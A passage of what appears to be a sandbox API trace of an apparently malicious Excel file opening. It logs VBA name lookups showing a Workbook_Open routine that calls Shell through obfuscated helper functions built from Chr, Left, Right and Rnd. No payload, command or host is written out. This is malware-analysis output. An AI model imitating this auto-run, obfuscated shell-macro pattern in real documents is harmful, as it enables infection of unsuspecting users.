IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x65bf4b0 [0074.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb73c280, cbMultiByte=40, lpWideCharStr=0x65bf4b0, cchWideChar=40 | out: lpWideCharStr="0{00020819-0000-0000-C000-000000000046}") returned 40 [0074.782] IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x65bf450 [0074.782] IMalloc:Free (This=0x7fefe465380, pv=0xb73c280) [0074.782] IMalloc:Free (This=0x7fefe465380, pv=0x65bf4b0) [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0074.783] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0074.784] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.784] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0074.784] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0074.784] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.784] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="gabrilla") returned 0x10aa35 [0074.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792b16, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0074.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792b16, cbMultiByte=8, lpWideCharStr=0x605e948, cchWideChar=8 | out: lpWideCharStr="gabrilla") returned 8 [0074.784] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5cd0000 [0074.785] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="gabrilla") returned 0x10aa35 [0074.785] strcpy_s (in: _Dst=0x7fee5fbd150, _DstSize=0x100, _Src="gabrilla" | out: _Dst="gabrilla") returned 0x0 [0074.785] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0074.785] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0074.785] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.785] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0074.785] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook_Open") returned 0x10e19b [0074.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792b66, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0074.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792b66, cbMultiByte=13, lpWideCharStr=0x62118b8, cchWideChar=13 | out: lpWideCharStr="Workbook_Open") returned 13 [0074.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0074.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Monochrome") returned 0x1001a5 [0074.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0074.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shell") returned 0x10d756 [0074.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bigtowerstone") returned 0x104eb6 [0074.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="msoAlignLefts") returned 0x10d2c2 [0074.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0074.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0074.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0074.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0074.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="goldgoldtime") returned 0x1045c1 [0074.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792c4a, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0074.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792c4a, cbMultiByte=12, lpWideCharStr=0x62118b8, cchWideChar=12 | out: lpWideCharStr="goldgoldtime") returned 12 [0074.786] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="capponecheese") returned 0x10121b [0074.786] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5d00000 [0074.787] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="virtoserer") returned 0x101f50 [0074.787] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0074.787] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="brucegodd") returned 0x102b53 [0074.787] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0074.804] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="capponecheese") returned 0x10121b [0074.804] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="virtoserer") returned 0x101f50 [0074.809] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="goldgoldtime") returned 0x1045c1 [0074.809] strcpy_s (in: _Dst=0x7fee5fbd150, _DstSize=0x100, _Src="goldgoldtime" | out: _Dst="goldgoldtime") returned 0x0 [0074.809] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="brucegodd") returned 0x102b53 [0074.809] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="depminng") returned 0x101634 [0074.809] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0074.809] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.809] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.809] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ramzessii") returned 0x10788b [0074.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792d2e, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0074.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792d2e, cbMultiByte=9, lpWideCharStr=0x605e948, cchWideChar=9 | out: lpWideCharStr="ramzessii") returned 9 [0074.810] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ramzessii") returned 0x10788b [0074.810] strcpy_s (in: _Dst=0x7fee5fbd150, _DstSize=0x100, _Src="ramzessii" | out: _Dst="ramzessii") returned 0x0 [0074.810] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0074.810] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0074.810] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.810] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.810] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SingleSong") returned 0x109bce [0074.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792d5a, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0074.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792d5a, cbMultiByte=10, lpWideCharStr=0x605e948, cchWideChar=10 | out: lpWideCharStr="SingleSong") returned 10 [0074.810] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SingleSong") returned 0x109bce [0074.810] strcpy_s (in: _Dst=0x7fee5fbd150, _DstSize=0x100, _Src="SingleSong" | out: _Dst="SingleSong") returned 0x0 [0074.811] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Right") returned 0x10150d [0074.811] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0074.811] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0074.811] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.811] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.811] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="depminng") returned 0x101634 [0074.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792d02, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0074.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792d02, cbMultiByte=8, lpWideCharStr=0x605e948, cchWideChar=8 | out: lpWideCharStr="depminng") returned 8 [0074.811] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Randomize") returned 0x10ab02 [0074.811] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="depminng") returned 0x101634 [0074.811] strcpy_s (in: _Dst=0x7fee5fbd150, _DstSize=0x100, _Src="depminng" | out: _Dst="depminng") returned 0x0 [0074.811] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Int") returned 0x109f41 [0074.812] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Rnd") returned 0x10cf52 [0074.813] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0074.813] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.813] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.813] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bigtowerstone") returned 0x104eb6 [0074.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792bea, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0074.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792bea, cbMultiByte=13, lpWideCharStr=0x62118b8, cchWideChar=13 | out: lpWideCharStr="bigtowerstone") returned 13 [0074.813] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nagilanile") returned 0x10105d [0074.814] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ramzessii") returned 0x10788b [0074.814] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nugahoneys") returned 0x10fa05 [0074.814] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="gabrilla") returned 0x10aa35 [0074.814] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="copengagend") returned 0x1086e2 [0074.814] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cryocamera") returned 0x10d674 [0074.814] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="copengagend") returned 0x1086e2 [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="rtypeoldschool") returned 0x10e355 [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bigtowerstone") returned 0x104eb6 [0074.817] strcpy_s (in: _Dst=0x7fee5fbd150, _DstSize=0x100, _Src="bigtowerstone" | out: _Dst="bigtowerstone") returned 0x0 [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nagilanile") returned 0x10105d [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cryocamera") returned 0x10d674 [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fatalerrrrord") returned 0x10e87c [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="goldgoldtime") returned 0x1045c1 [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SingleSong") returned 0x109bce [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="goldgoldtime") returned 0x1045c1 [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SingleSong") returned 0x109bce [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.818] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nugahoneys") returned 0x10fa05 [0074.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792dfe, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0074.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792dfe, cbMultiByte=10, lpWideCharStr=0x605e948, cchWideChar=10 | out: lpWideCharStr="nugahoneys") returned 10 [0074.818] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="babylongiland") returned 0x106d13 [0074.818] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0074.818] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.818] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="siniorengg") returned 0x10e304 [0074.818] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fruitstornado") returned 0x10644b [0074.818] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0074.818] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.818] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="siniorengg") returned 0x10e304 [0074.818] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.818] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.819] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="portlanddomms") returned 0x101f1d [0074.819] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0074.819] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.819] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Minute") returned 0x106d61 [0074.819] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.819] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Minute") returned 0x106d61 [0074.819] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.819] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="astralonfice") returned 0x105b03 [0074.819] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0074.819] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.819] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.819] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="valvegamess") returned 0x10028a [0074.819] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x5d10000 [0074.820] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0074.820] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Second") returned 0x100e73 [0074.820] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.820] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.820] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.820] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.820] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="olivergobane") returned 0x108f69 [0074.820] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sisterloomg") returned 0x1026bc [0074.820] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0074.820] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.820] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Minute") returned 0x106d61 [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Minute") returned 0x106d61 [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Now") returned 0x10ba25 [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nugahoneys") returned 0x10fa05 [0074.821] strcpy_s (in: _Dst=0x7fee5fbd150, _DstSize=0x100, _Src="nugahoneys" | out: _Dst="nugahoneys") returned 0x0 [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fruitstornado") returned 0x10644b [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="babylongiland") returned 0x106d13 [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="valvegamess") returned 0x10028a [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="portlanddomms") returned 0x101f1d [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sisterloomg") returned 0x1026bc [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="astralonfice") returned 0x105b03 [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="olivergobane") returned 0x108f69 [0074.821] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0074.822] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.822] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.822] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fatalerrrrord") returned 0x10e87c [0074.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792eb2, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0074.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792eb2, cbMultiByte=13, lpWideCharStr=0x62118b8, cchWideChar=13 | out: lpWideCharStr="fatalerrrrord") returned 13 [0074.822] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fatalerrrrord") returned 0x10e87c [0074.822] strcpy_s (in: _Dst=0x7fee5fbd150, _DstSize=0x100, _Src="fatalerrrrord" | out: _Dst="fatalerrrrord") returned 0x0 [0074.822] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Right") returned 0x10150d [0074.822] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0074.822] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0074.822] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.822] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.822] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="rtypeoldschool") returned 0x10e355 [0074.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792e82, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0074.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792e82, cbMultiByte=14, lpWideCharStr=0x62118b8, cchWideChar=14 | out: lpWideCharStr="rtypeoldschool") returned 14 [0074.822] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vegas") returned 0x104508 [0074.823] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tarapara") returned 0x108b92 [0074.823] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="rtypeoldschool") returned 0x10e355 [0074.823] strcpy_s (in: _Dst=0x7fee5fbd150, _DstSize=0x100, _Src="rtypeoldschool" | out: _Dst="rtypeoldschool") returned 0x0 [0074.823] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tarapara") returned 0x108b92 [0074.823] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0074.823] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.823] CExposedStream::Read () returned 0x0 [0074.823] CExposedStream::Release () returned 0x1 [0074.823] CExposedStream::Release () returned 0x0 [0074.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x1f3180, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0074.824] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0074.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x1f32c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0074.824] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0074.824] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0xb996e90 [0074.824] IMalloc:GetSize (This=0x7fefe465380, pv=0xb996e90) returned 0x80 [0074.824] IMalloc:Alloc (This=0x7fefe465380, cb=0xb8) returned 0xb70a3a0 [0074.824] IMalloc:Alloc (This=0x7fefe465380, cb=0xb8) returned 0xb70a460 [0074.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x1f3180, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0074.824] CoCreateGuid (in: pguid=0x1f2eb0 | out: pguid=0x1f2eb0*(Data1=0x5c87e3f7, Data2=0x5408, Data3=0x4e16, Data4=([0]=0x97, [1]=0xfa, [2]=0x9f, [3]=0x2a, [4]=0x5a, [5]=0xc9, [6]=0x27, [7]=0xce))) returned 0x0 [0074.824] CoCreateGuid (in: pguid=0x1f2ec0 | out: pguid=0x1f2ec0*(Data1=0x3a7ef2e0, Data2=0x1b4d, Data3=0x409e, Data4=([0]=0xaa, [1]=0x9e, [2]=0x16, [3]=0x42, [4]=0x83, [5]=0x34, [6]=0x7d, [7]=0xed))) returned 0x0 [0074.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x1f2ed0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0074.824] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0074.824] GetLocalTime (in: lpSystemTime=0x1f2da8 | out: lpSystemTime=0x1f2da8*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x25, wMilliseconds=0x1cc)) [0074.824] _ultow_s (in: _Value=0x5c6a74e9, _Buffer=0xb969f04, _BufferCount=0x9, _Radix=16 | out: _Buffer="5c6a74e9") returned 0x0 [0074.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="025c6a74e9", cchWideChar=11, lpMultiByteStr=0x1f2d40, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="025c6a74e9", lpUsedDefaultChar=0x0) returned 11 [0074.824] strcpy_s (in: _Dst=0x6755768, _DstSize=0x7, _Src="Sheet1" | out: _Dst="Sheet1") returned 0x0 [0074.824] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0074.824] wcscpy_s (in: _Destination=0xb969f18, _SizeInWords=0x7, _Source="Sheet1" | out: _Destination="Sheet1") returned 0x0 [0074.824] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0074.824] wcscpy_s (in: _Destination=0xb969f28, _SizeInWords=0x7, _Source="Sheet1" | out: _Destination="Sheet1") returned 0x0 [0074.824] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0074.824] IMalloc:Alloc (This=0x7fefe465380, cb=0x48) returned 0xb8f3540 [0074.824] IMalloc:Free (This=0x7fefe465380, pv=0x66efae0) [0074.824] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb73c1f0 [0074.824] IMalloc:Free (This=0x7fefe465380, pv=0xb8f3540) [0074.824] IMalloc:Alloc (This=0x7fefe465380, cb=0x3d0) returned 0x6633760 [0074.824] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb73c1f0 [0074.824] IMalloc:Alloc (This=0x7fefe465380, cb=0x10) returned 0xb7fba40 [0074.824] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0xb996f20 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6649fd0 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6649fc0 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0x688) returned 0x60c6cf0 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0xb996fb0 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0x640) returned 0x62814a0 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb73c1c0 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x663fbd0 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x663f2b0 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb73c190 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0xb997040 [0074.825] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0074.825] wcsncpy_s (in: _Destination=0x1f2f20, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x0 [0074.825] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchLength=0x61 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x61 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0xc4) returned 